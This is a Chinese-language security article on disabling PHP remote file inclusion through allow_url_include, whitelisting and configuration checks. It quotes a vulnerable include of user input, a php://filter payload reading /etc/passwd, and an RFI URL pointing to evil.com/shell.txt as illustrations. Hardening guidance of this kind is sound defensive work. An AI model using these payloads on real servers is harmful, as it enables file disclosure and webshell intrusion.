php远程文件包含怎禁改_php远程包含禁用修改法【防护】

发布时间 - 2026-02-02 00:00:00    点击率:
应将 php.ini 中 allow_url_include 设为 Off 并重启 Web 服务,若无权限可改 .htaccess 或 user.ini;同时需代码层白名单校验、禁用 php:// 等危险协议,且须检查 CLI 与 Web SAPI 配置是否一致。

php.ini 里怎么关掉 allow_url_include

远程文件包含漏洞(RFI)的核心前提是 PHP 允许从 URL 加载并执行代码,而控制开关就是 allow_url_include。它默认是 Off,但有些老旧环境或一键包(如某些旧版 WAMP/XAMPP)会误开为 On

直接编辑 php.ini,找到这一行:

allow_url_include = On

改成:

allow_url_include = Off

注意:改完必须重启 Web 服务(apachephp-fpm),否则不生效。用 phpinfo() 页面确认当前值是否为 Off,别只信配置文件内容。

  • 如果找不到该配置项,就手动加一行 —— 它不是必选项,没写等于默认 Off,但显式写出来更稳妥
  • 共享主机用户可能无权改 php.ini,此时可用 .htaccess(Apache)或 user.ini(PHP 5.3+)覆盖:
    php_flag allow_url_include off
  • allow_url_fopen = Off 可顺带关掉——虽然它不影响 include,但能阻止很多基于 file_get_contents()fopen() 的 RFI 利用链

为什么 include/require 拼接用户输入就是高危

哪怕 allow_url_includeOff,只要代码里把用户可控参数(比如 $_GET['page'])直接塞进 include,仍可能被绕过或引发 LFI(本地文件包含),进而读取敏感文件甚至配合日志/临时文件 getshell。

典型危险写法:

include $_GET['page'] . '.php';

攻击者传 ?page=php://filter/read=convert.base64-encode/resource=/etc/passwd 就能读文件(即使 allow_url_include=Offphp:// 流仍可用)。

  • 永远不要信任用户输入作为文件路径的一部分
  • 用白名单硬编码可包含的模块名:$pages = ['home', 'about']; if (in_array($_GET['page'], $pages)) { include $_GET['page'] . '.php'; }
  • 若必须动态加载,用 basename() 剥离路径干扰:include basename($_GET['page']) . '.php';,但仍有风险,白名单仍是首选

Web 服务器层能不能挡 RFI 请求

不能靠 Nginx/Apache 的请求过滤“拦住 RFI”,因为 RFI 是 PHP 解析阶段的行为,HTTP 层看到的只是普通 GET 请求(比如 ?file=http://evil.com/shell.txt)。规则写再严,只要 PHP 执行了那行 include,就晚了。

但可以做两件事降低危害:

  • Nginx 中禁用 .php 文件里的 URL 协议解析(仅限特定目录):
    location ~ \.php$ { ... fastcgi_param PHP_VALUE "allow_url_include=Off"; }
  • Apache 的 mod_security 可拦截含 http://https://php://include 参数,但属于事后补救,且规则易被绕过(如双写、编码)
  • 真正有效的防护在代码逻辑和 PHP 配置,不在 Web 服务器

检查线上环境有没有漏掉的 allow_url_include

很多运维会改主 php.ini,却忘了 CLI 模式或不同 vhost 下的 php_admin_value 覆盖。一个 PHP 进程可能加载多个配置文件。

最可靠方式是运行:

php -r "echo ini_get('allow_url_include');"

以及:

php --ini

看实际生效的是哪个 php.ini。CLI 和 Web SAPI 的配置常不同,尤其部署队列任务或定时脚本时,容易忽略 CLI 的 allow_url_include 状态。

另外,Docker 容器、宝塔面板、cPanel 的 PHP 插件管理界面,都可能单独覆盖这个值,得逐个确认。

别只查一次;上线前、升版后、换 PHP 版本时,都值得再跑一遍 ini_get()


# php  # docker  # apache  # 宝塔面板  # nginx  # 编码  # access  # 配置文件  # 为什么  # Resource  # if  # include  # require  # fopen  # Filter  # location  # http  # https  # 加载  # 重启  # 的是  # 就能  # 多个  # 找不到  # 设为  # 一遍  # 仍是 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: 在centOS 7安装mysql 5.7的详细教程  Windows Hello人脸识别突然无法使用  手机钓鱼网站怎么制作视频,怎样拦截钓鱼网站。怎么办?  详解免费开源的.NET多类型文件解压缩组件SharpZipLib(.NET组件介绍之七)  Android okhttputils现在进度显示实例代码  韩国代理服务器如何选?解析IP设置技巧与跨境访问优化指南  高性能网站服务器配置指南:安全稳定与高效建站核心方案  网站制作免费,什么网站能看正片电影?  Laravel模型事件有哪些_Laravel Model Event生命周期详解  如何在不使用负向后查找的情况下匹配特定条件前的换行符  如何在Tomcat中配置并部署网站项目?  如何打造高效商业网站?建站目的决定转化率  Laravel如何使用Contracts(契约)进行编程_Laravel契约接口与依赖反转  Laravel如何正确地在控制器和模型之间分配逻辑_Laravel代码职责分离与架构建议  为什么php本地部署后css不生效_静态资源加载失败修复技巧【技巧】  标准网站视频模板制作软件,现在有哪个网站的视频编辑素材最齐全的,背景音乐、音效等?  香港代理服务器配置指南:高匿IP选择、跨境加速与SEO优化技巧  详解Nginx + Tomcat 反向代理 如何在高效的在一台服务器部署多个站点  微信公众帐号开发教程之图文消息全攻略  图册素材网站设计制作软件,图册的导出方式有几种?  Laravel中间件起什么作用_Laravel Middleware请求生命周期与自定义详解  Laravel API资源类怎么用_Laravel API Resource数据转换  活动邀请函制作网站有哪些,活动邀请函文案?  Laravel如何实现密码重置功能_Laravel密码找回与重置流程  Laravel如何使用Guzzle调用外部接口_Laravel发起HTTP请求与JSON数据解析【详解】  JavaScript如何实现倒计时_时间函数如何精确控制  北京网站制作公司哪家好一点,北京租房网站有哪些?  如何快速重置建站主机并恢复默认配置?  如何在建站之星绑定自定义域名?  如何用腾讯建站主机快速创建免费网站?  如何将凡科建站内容保存为本地文件?  Python制作简易注册登录系统  如何使用 jQuery 正确渲染 Instagram 风格的标签列表  美食网站链接制作教程视频,哪个教做美食的网站比较专业点?  北京网站制作的公司有哪些,北京白云观官方网站?  Laravel怎么进行浏览器测试_Laravel Dusk自动化浏览器测试入门  如何在云服务器上快速搭建个人网站?  Android 常见的图片加载框架详细介绍  Laravel如何使用withoutEvents方法临时禁用模型事件  Android GridView 滑动条设置一直显示状态(推荐)  MySQL查询结果复制到新表的方法(更新、插入)  Laravel DB事务怎么使用_Laravel数据库事务回滚操作  软银砸40亿美元收购DigitalBridge 强化AI资料中心布局  Laravel如何升级到最新版本?(升级指南和步骤)  公司门户网站制作公司有哪些,怎样使用wordpress制作一个企业网站?  如何快速选择适合个人网站的云服务器配置?  Laravel如何自定义分页视图?(Pagination示例)  Win11怎么关闭资讯和兴趣_Windows11任务栏设置隐藏小组件  在线教育网站制作平台,山西立德教育官网?  标题:Vue + Vuex + JWT 身份认证的正确实践与常见误区解析